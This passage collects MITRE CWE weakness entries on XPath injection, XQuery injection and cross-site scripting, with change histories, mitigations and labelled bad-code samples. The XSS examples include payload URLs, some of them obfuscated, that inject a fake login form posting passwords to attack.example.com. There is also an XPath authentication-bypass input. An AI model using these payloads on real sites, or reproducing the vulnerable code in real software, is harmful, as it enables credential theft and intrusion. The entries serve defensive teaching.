2010-02-16	updated Potential_Mitigations, Relationships, Taxonomy_Mappings
2010-04-05	CWE Content Team	MITRE
2010-04-05	updated Related_Attack_Patterns
2010-06-21	CWE Content Team	MITRE
2010-06-21	updated Observed_Examples, Relationships
2010-09-27	CWE Content Team	MITRE
2010-09-27	updated Relationships
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2011-09-13	CWE Content Team	MITRE
2011-09-13	updated Relationships, Taxonomy_Mappings
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Common_Consequences, Demonstrative_Examples, Observed_Examples, References, Related_Attack_Patterns, Relationships
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Potential_Mitigations
2014-06-23	CWE Content Team	MITRE
2014-06-23	updated Relationships
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships
2015-12-07	CWE Content Team	MITRE
2015-12-07	updated Demonstrative_Examples, Relationships
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Applicable_Platforms, Causal_Nature, Modes_of_Introduction, Relationships, Taxonomy_Mappings
2018-03-27	CWE Content Team	MITRE
2018-03-27	updated Relationships
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Relationships
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Related_Attack_Patterns, Relationships
2019-09-19	CWE Content Team	MITRE
2019-09-19	updated Description, Name, References, Relationships
2019-09-23	CWE Content Team	MITRE
2019-09-23	updated Description, Name, Observed_Examples, Potential_Mitigations
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Potential_Mitigations, Relationships
2020-06-25	CWE Content Team	MITRE
2020-06-25	updated Potential_Mitigations
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-10-28	CWE Content Team	MITRE
2021-10-28	updated Relationships
2022-04-28	CWE Content Team	MITRE
2022-04-28	updated Applicable_Platforms, Demonstrative_Examples, Observed_Examples, References
2022-10-13	CWE Content Team	MITRE
2022-10-13	updated Observed_Examples
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description, Potential_Mitigations
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Description, Detection_Factors, References, Relationships, Time_of_Introduction
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes
Previous Entry Names
Change Date	Previous Entry Name
2019-09-19	Argument Injection or Modification

2019-09-23	Improper Delimitation of Arguments in a Command ('Argument Injection')

Weakness ID: 643

View customized information:

Description

Extended Description

The net effect is that the attacker will have control over the information selected from the XML database and may use that ability to control application flow, modify logic, retrieve unauthorized data, or bypass important checks (e.g. authentication).

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	91	XML Injection (aka Blind XPath Injection)
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	943	Improper Neutralization of Special Elements in Data Query Logic

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1019	Validate Inputs

Modes Of Introduction

Phase	Note
Implementation	REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Applicable Platforms

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Access Control	Technical Impact: Bypass Protection Mechanism Controlling application flow (e.g. bypassing authentication).
Confidentiality	Technical Impact: Read Application Data The attacker could read restricted XML content.

Likelihood Of Exploit

High

Demonstrative Examples

Example 1

Consider the following simple XML document that stores authentication information and a snippet of Java code that uses XPath query to retrieve authentication information:

(informative)

Example Language: XML

<users>

<user>

<login>john</login>
<password>abracadabra</password>
<home_dir>/home/john</home_dir>

</user>
<user>

</user>

</users>

The Java code used to retrieve the home directory based on the provided credentials is:

(bad code)

Example Language: Java

XPath xpath = XPathFactory.newInstance().newXPath();
XPathExpression xlogin = xpath.compile("//users/user[login/text()='" + login.getUserName() + "' and password/text() = '" + login.getPassword() + "']/home_dir/text()");
Document d = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(new File("db.xml"));
String homedir = xlogin.evaluate(d);

Assume that user "john" wishes to leverage XPath Injection and login without a valid password. By providing a username "john" and password "' or ''='" the XPath expression now becomes

(attack code)

//users/user[login/text()='john' or ''='' and password/text() = '' or ''='']/home_dir/text()

This lets user "john" login without a valid password, thus bypassing authentication.

Potential Mitigations

Phase: Implementation

Use parameterized XPath queries (e.g. using XQuery). This will help ensure separation between data plane and control plane.

Phase: Implementation

Properly validate user input. Reject data where appropriate, filter where appropriate and escape where appropriate. Make sure input that will be used in XPath queries is safe in that context.

Detection Methods

Automated Static Analysis

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	929	OWASP Top Ten 2013 Category A1 - Injection
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	990	SFP Secondary Cluster: Tainted Input to Command
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1308	CISQ Quality Measures - Security
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1340	CISQ Data Protection Measures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1347	OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1409	Comprehensive Categorization: Injection

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Notes

Relationship

This weakness is similar to other weaknesses that enable injection style attacks, such as SQL injection, command injection and LDAP injection. The main difference is that the target of attack here is the XML database.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	39		XPath Injection
Software Fault Patterns	SFP24		Tainted input to command

References

[REF-531] Web Application Security Consortium. "XPath Injection". <http://projects.webappsec.org/w/page/13247005/XPath%20Injection>. URL validated: 2023-04-07.

[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 17, "XPath Injection", Page 1070. 1st Edition. Addison Wesley. 2006.

Content History

Submissions
Submission Date	Submitter	Organization
2008-01-30 (CWE Draft 8, 2008-01-30)	Evgeny Lebanidze	Cigital
2008-01-30 (CWE Draft 8, 2008-01-30)
Modifications
Modification Date	Modifier	Organization
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Common_Consequences, Relationships
2008-10-14	CWE Content Team	MITRE
2008-10-14	updated Description, Name, References, Relationship_Notes
2009-03-10	CWE Content Team	MITRE
2009-03-10	updated Demonstrative_Examples
2009-05-27	CWE Content Team	MITRE
2009-05-27	updated Name
2009-10-29	CWE Content Team	MITRE
2009-10-29	updated Common_Consequences
2010-02-16	CWE Content Team	MITRE
2010-02-16	updated Taxonomy_Mappings
2010-04-05	CWE Content Team	MITRE
2010-04-05	updated Description, Name
2010-06-21	CWE Content Team	MITRE
2010-06-21	updated Enabling_Factors_for_Exploitation
2010-12-13	CWE Content Team	MITRE
2010-12-13	updated Common_Consequences
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated References, Relationships
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Potential_Mitigations
2014-06-23	CWE Content Team	MITRE
2014-06-23	updated Relationships
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships, Taxonomy_Mappings
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Applicable_Platforms, Enabling_Factors_for_Exploitation, Modes_of_Introduction, Relationships
2018-03-27	CWE Content Team	MITRE
2018-03-27	updated Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-10-28	CWE Content Team	MITRE
2021-10-28	updated Relationships
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Detection_Factors, References, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes
2024-02-29 (CWE 4.14, 2024-02-29)	CWE Content Team	MITRE
2024-02-29 (CWE 4.14, 2024-02-29)	updated Demonstrative_Examples
Previous Entry Names
Change Date	Previous Entry Name
2008-10-14	Unsafe Treatment of XPath Input

2009-05-27	Failure to Sanitize Data within XPath Expressions (aka 'XPath injection')

2010-04-05	Failure to Sanitize Data within XPath Expressions ('XPath injection')

Weakness ID: 652

View customized information:

Description

Extended Description

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	91	XML Injection (aka Blind XPath Injection)
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	943	Improper Neutralization of Special Elements in Data Query Logic

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1019	Validate Inputs

Modes Of Introduction

Phase	Note
Implementation	REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Applicable Platforms

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Technical Impact: Read Application Data An attacker might be able to read sensitive information from the XML database.

Likelihood Of Exploit

High

Demonstrative Examples

Example 1

An attacker may pass XQuery expressions embedded in an otherwise standard XML document. The attacker tunnels through the application entry point to target the resource access layer. The string below is an example of an attacker accessing the accounts.xml to request the service provider send all user names back. doc(accounts.xml)//user[name='*'] The attacks that are possible through XQuery are difficult to predict, if the data is not validated prior to executing the XQL.

Potential Mitigations

Phase: Implementation

Use parameterized queries. This will help ensure separation between data plane and control plane.

Phase: Implementation

Properly validate user input. Reject data where appropriate, filter where appropriate and escape where appropriate. Make sure input that will be used in XQL queries is safe in that context.

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	929	OWASP Top Ten 2013 Category A1 - Injection
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	990	SFP Secondary Cluster: Tainted Input to Command
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1308	CISQ Quality Measures - Security
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1340	CISQ Data Protection Measures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1347	OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1409	Comprehensive Categorization: Injection

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Notes

Relationship

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	46		XQuery Injection
Software Fault Patterns	SFP24		Tainted input to command

Content History

Submissions
Submission Date	Submitter	Organization
2008-01-30 (CWE Draft 8, 2008-01-30)	Evgeny Lebanidze	Cigital
2008-01-30 (CWE Draft 8, 2008-01-30)
Modifications
Modification Date	Modifier	Organization
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Common_Consequences, Relationships
2008-10-14	CWE Content Team	MITRE
2008-10-14	updated Description, Name, Relationship_Notes
2009-05-27	CWE Content Team	MITRE
2009-05-27	updated Name
2009-10-29	CWE Content Team	MITRE
2009-10-29	updated Common_Consequences
2010-02-16	CWE Content Team	MITRE
2010-02-16	updated Taxonomy_Mappings
2010-04-05	CWE Content Team	MITRE
2010-04-05	updated Description, Name
2010-12-13	CWE Content Team	MITRE
2010-12-13	updated Common_Consequences
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Relationships
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Potential_Mitigations
2014-06-23	CWE Content Team	MITRE
2014-06-23	updated Relationships
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships, Taxonomy_Mappings
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Applicable_Platforms, Demonstrative_Examples, Enabling_Factors_for_Exploitation, Modes_of_Introduction, Observed_Examples, Relationships
2018-03-27	CWE Content Team	MITRE
2018-03-27	updated Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-10-28	CWE Content Team	MITRE
2021-10-28	updated Relationships
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes
Previous Entry Names
Change Date	Previous Entry Name
2008-10-14	Unsafe Treatment of XQuery Input

2009-05-27	Failure to Sanitize Data within XQuery Expressions (aka 'XQuery Injection')

2010-04-05	Failure to Sanitize Data within XQuery Expressions ('XQuery Injection')

Weakness ID: 79

View customized information:

Description

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Extended Description

Cross-site scripting (XSS) vulnerabilities occur when:

Untrusted data enters a web application, typically from a web request.
The web application dynamically generates a web page that contains this untrusted data.
During page generation, the application does not prevent the data from containing content that is executable by a web browser, such as JavaScript, HTML tags, HTML attributes, mouse events, Flash, ActiveX, etc.
A victim visits the generated web page through a web browser, which contains malicious script that was injected using the untrusted data.
Since the script comes from a web page that was sent by the web server, the victim's web browser executes the malicious script in the context of the web server's domain.
This effectively violates the intention of the web browser's same-origin policy, which states that scripts in one domain should not be able to access resources or run code in a different domain.

There are three main kinds of XSS:

Type 1: Reflected XSS (or Non-Persistent) - The server reads data directly from the HTTP request and reflects it back in the HTTP response. Reflected XSS exploits occur when an attacker causes a victim to supply dangerous content to a vulnerable web application, which is then reflected back to the victim and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to the victim. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces a victim to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the victim, the content is executed by the victim's browser.
Type 2: Stored XSS (or Persistent) - The application stores dangerous data in a database, message forum, visitor log, or other trusted data store. At a later time, the dangerous data is subsequently read back into the application and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user. For example, the attacker might inject XSS into a log message, which might not be handled properly when an administrator views the logs.
Type 0: DOM-Based XSS - In DOM-based XSS, the client performs the injection of XSS into the page; in the other types, the server performs the injection. DOM-based XSS generally involves server-controlled, trusted script that is sent to the client, such as Javascript that performs sanity checks on a form before the user submits it. If the server-supplied script processes user-supplied data and then injects it back into the web page (such as with dynamic HTML), then DOM-based XSS is possible.

Once the malicious script is injected, the attacker can perform a variety of malicious activities. The attacker could transfer private information, such as cookies that may include session information, from the victim's machine to the attacker. The attacker could send malicious requests to a web site on behalf of the victim, which could be especially dangerous to the site if the victim has administrator privileges to manage that site. Phishing attacks could be used to emulate trusted web sites and trick the victim into entering a password, allowing the attacker to compromise the victim's account on that web site. Finally, the script could exploit a vulnerability in the web browser itself possibly taking over the victim's machine, sometimes referred to as "drive-by hacking."

In many cases, the attack can be launched without the victim even being aware of it. Even with careful users, attackers frequently use a variety of methods to encode the malicious portion of the attack, such as URL encoding or Unicode, so the request looks less suspicious.

Alternate Terms

XSS:	A common abbreviation for Cross-Site Scripting.
HTML Injection:	Used as a synonym of stored (Type 2) XSS.
CSS:	In the early years after initial discovery of XSS, "CSS" was a commonly-used acronym. However, this would cause confusion with "Cascading Style Sheets," so usage of this acronym has declined significantly.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	80	Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	81	Improper Neutralization of Script in an Error Message Web Page
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	83	Improper Neutralization of Script in Attributes in a Web Page
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	84	Improper Neutralization of Encoded URI Schemes in a Web Page
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	85	Doubled Character XSS Manipulations
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	86	Improper Neutralization of Invalid Characters in Identifiers in Web Pages
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	87	Improper Neutralization of Alternate XSS Syntax
PeerOf	Composite - a Compound Element that consists of two or more distinct weaknesses, in which all weaknesses must be present at the same time in order for a potential vulnerability to arise. Removing any of the weaknesses eliminates or sharply reduces the risk. One weakness, X, can be "broken down" into component weaknesses Y and Z. There can be cases in which one weakness might not be essential to a composite, but changes the nature of the composite when it becomes a vulnerability.	352	Cross-Site Request Forgery (CSRF)
CanFollow	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	113	Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')
CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	184	Incomplete List of Disallowed Inputs
CanPrecede	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	494	Download of Code Without Integrity Check

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	137	Data Neutralization Issues

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1019	Validate Inputs

Background Details

The Same Origin Policy states that browsers should limit the resources accessible to scripts running on a given web site, or "origin", to the resources associated with that web site on the client-side, and not the client-side resources of any other sites or "origins". The goal is to prevent one site from being able to modify or read the contents of an unrelated site. Since the World Wide Web involves interactions between many sites, this policy is important for browsers to enforce.

When referring to XSS, the Domain of a website is roughly equivalent to the resources associated with that website on the client-side of the connection. That is, the domain can be thought of as all resources the browser is storing for the user's interactions with this particular site.

Modes Of Introduction

Phase	Note
Implementation	REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Applicable Platforms

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Web Based (Often Prevalent)

Common Consequences

Scope	Impact	Likelihood
Access Control Confidentiality	Technical Impact: Bypass Protection Mechanism; Read Application Data The most common attack performed with cross-site scripting involves the disclosure of information stored in user cookies. Typically, a malicious user will craft a client-side script, which -- when parsed by a web browser -- performs some activity (such as sending all site cookies to a given E-mail address). This script will be loaded and run by each user visiting the web site. Since the site requesting to run the script has access to the cookies in question, the malicious script does also.
Integrity Confidentiality Availability	Technical Impact: Execute Unauthorized Code or Commands In some circumstances it may be possible to run arbitrary code on a victim's computer when cross-site scripting is combined with other flaws.
Confidentiality Integrity Availability Access Control	Technical Impact: Execute Unauthorized Code or Commands; Bypass Protection Mechanism; Read Application Data The consequence of an XSS attack is the same regardless of whether it is stored or reflected. The difference is in how the payload arrives at the server. XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. Some cross-site scripting vulnerabilities can be exploited to manipulate or steal cookies, create requests that can be mistaken for those of a valid user, compromise confidential information, or execute malicious code on the end user systems for a variety of nefarious purposes. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirecting the user to some other page or site, running "Active X" controls (under Microsoft Internet Explorer) from sites that a user perceives as trustworthy, and modifying presentation of content.

Likelihood Of Exploit

High

Demonstrative Examples

Example 1

The following code displays a welcome message on a web page based on the HTTP GET username parameter (covers a Reflected XSS (Type 1) scenario).

(bad code)

Example Language: PHP

$username = $_GET['username'];
echo '<div class="header"> Welcome, ' . $username . '</div>';

Because the parameter can be arbitrary, the url of the page could be modified so $username contains scripting syntax, such as

(attack code)

http://trustedSite.example.com/welcome.php?username=<Script Language="Javascript">alert("You've been attacked!");</Script>

This results in a harmless alert dialog popping up. Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers.

More realistically, the attacker can embed a fake login box on the page, tricking the user into sending the user's password to the attacker:

(attack code)

http://trustedSite.example.com/welcome.php?username=<div id="stealPassword">Please Login:<form name="input" action="http://attack.example.com/stealPassword.php" method="post">Username: <input type="text" name="username" /><br/>Password: <input type="password" name="password" /><br/><input type="submit" value="Login" /></form></div>

If a user clicks on this link then Welcome.php will generate the following HTML and send it to the user's browser:

(result)

<div class="header"> Welcome, <div id="stealPassword"> Please Login:

Username: <input type="text" name="username" /><br/>
Password: <input type="password" name="password" /><br/>
<input type="submit" value="Login" />

</form>

</div></div>

The trustworthy domain of the URL may falsely assure the user that it is OK to follow the link. However, an astute user may notice the suspicious text appended to the URL. An attacker may further obfuscate the URL (the following example links are broken into multiple lines for readability):

(attack code)

trustedSite.example.com/welcome.php?username=%3Cdiv+id%3D%22
stealPassword%22%3EPlease+Login%3A%3Cform+name%3D%22input
%22+action%3D%22http%3A%2F%2Fattack.example.com%2FstealPassword.php
%22+method%3D%22post%22%3EUsername%3A+%3Cinput+type%3D%22text
%22+name%3D%22username%22+%2F%3E%3Cbr%2F%3EPassword%3A
+%3Cinput+type%3D%22password%22+name%3D%22password%22
+%2F%3E%3Cinput+type%3D%22submit%22+value%3D%22Login%22
+%2F%3E%3C%2Fform%3E%3C%2Fdiv%3E%0D%0A

The same attack string could also be obfuscated as:

(attack code)

trustedSite.example.com/welcome.php?username=<script+type="text/javascript">
document.write('\u003C\u0064\u0069\u0076\u0020\u0069\u0064\u003D\u0022\u0073
\u0074\u0065\u0061\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064
\u0022\u003E\u0050\u006C\u0065\u0061\u0073\u0065\u0020\u004C\u006F\u0067
\u0069\u006E\u003A\u003C\u0066\u006F\u0072\u006D\u0020\u006E\u0061\u006D
\u0065\u003D\u0022\u0069\u006E\u0070\u0075\u0074\u0022\u0020\u0061\u0063
\u0074\u0069\u006F\u006E\u003D\u0022\u0068\u0074\u0074\u0070\u003A\u002F
\u002F\u0061\u0074\u0074\u0061\u0063\u006B\u002E\u0065\u0078\u0061\u006D
\u0070\u006C\u0065\u002E\u0063\u006F\u006D\u002F\u0073\u0074\u0065\u0061
\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u002E\u0070\u0068
\u0070\u0022\u0020\u006D\u0065\u0074\u0068\u006F\u0064\u003D\u0022\u0070
\u006F\u0073\u0074\u0022\u003E\u0055\u0073\u0065\u0072\u006E\u0061\u006D
\u0065\u003A\u0020\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079
\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u0022\u0020\u006E\u0061
\u006D\u0065\u003D\u0022\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065
\u0022\u0020\u002F\u003E\u003C\u0062\u0072\u002F\u003E\u0050\u0061\u0073
\u0073\u0077\u006F\u0072\u0064\u003A\u0020\u003C\u0069\u006E\u0070\u0075
\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0070\u0061\u0073\u0073
\u0077\u006F\u0072\u0064\u0022\u0020\u006E\u0061\u006D\u0065\u003D\u0022
\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u002F\u003E
\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D
\u0022\u0073\u0075\u0062\u006D\u0069\u0074\u0022\u0020\u0076\u0061\u006C
\u0075\u0065\u003D\u0022\u004C\u006F\u0067\u0069\u006E\u0022\u0020\u002F
\u003E\u003C\u002F\u0066\u006F\u0072\u006D\u003E\u003C\u002F\u0064\u0069\u0076\u003E\u000D');</script>

Both of these attack links will result in the fake login box appearing on the page, and users are more likely to ignore indecipherable text at the end of URLs.

Example 2

The following code displays a Reflected XSS (Type 1) scenario.

The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.

(bad code)

Example Language: JSP

<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>

The following ASP.NET code segment reads an employee ID number from an HTTP request and displays it to the user.

(bad code)

Example Language: ASP.NET

<%
protected System.Web.UI.WebControls.TextBox Login;
protected System.Web.UI.WebControls.Label EmployeeID;
...
EmployeeID.Text = Login.Text;
%>

<p><asp:label id="EmployeeID" runat="server" /></p>

The code in this example operates correctly if the Employee ID variable contains only standard alphanumeric text. If it has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response.

Example 3

The following code displays a Stored XSS (Type 2) scenario.

The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.

(bad code)

Example Language: JSP

<%Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {

rs.next();
String name = rs.getString("name");

}%>

Employee Name: <%= name %>

The following ASP.NET code segment queries a database for an employee with a given employee ID and prints the name corresponding with the ID.

(bad code)

Example Language: ASP.NET

<%
protected System.Web.UI.WebControls.Label EmployeeName;
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = name;%>
<p><asp:label id="EmployeeName" runat="server" /></p>

This code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser.

Example 4

The following code consists of two separate pages in a web application, one devoted to creating user accounts and another devoted to listing active users currently logged in. It also displays a Stored XSS (Type 2) scenario.

CreateUser.php

(bad code)

Example Language: PHP

$username = mysql_real_escape_string($username);
$fullName = mysql_real_escape_string($fullName);
$query = sprintf('Insert Into users (username,password) Values ("%s","%s","%s")', $username, crypt($password),$fullName) ;
mysql_query($query);
/.../

The code is careful to avoid a SQL injection attack (CWE-89) but does not stop valid HTML from being stored in the database. This can be exploited later when ListUsers.php retrieves the information:

ListUsers.php

(bad code)

Example Language: PHP

$query = 'Select * From users Where loggedIn=true';
$results = mysql_query($query);

if (!$results) {

exit;

}

//Print list of users to page
echo '<div id="userlist">Currently Active Users:';
while ($row = mysql_fetch_assoc($results)) {

echo '<div class="userNames">'.$row['fullname'].'</div>';

}
echo '</div>';

The attacker can set their name to be arbitrary HTML, which will then be displayed to all visitors of the Active Users page. This HTML can, for example, be a password stealing Login message.

Example 5

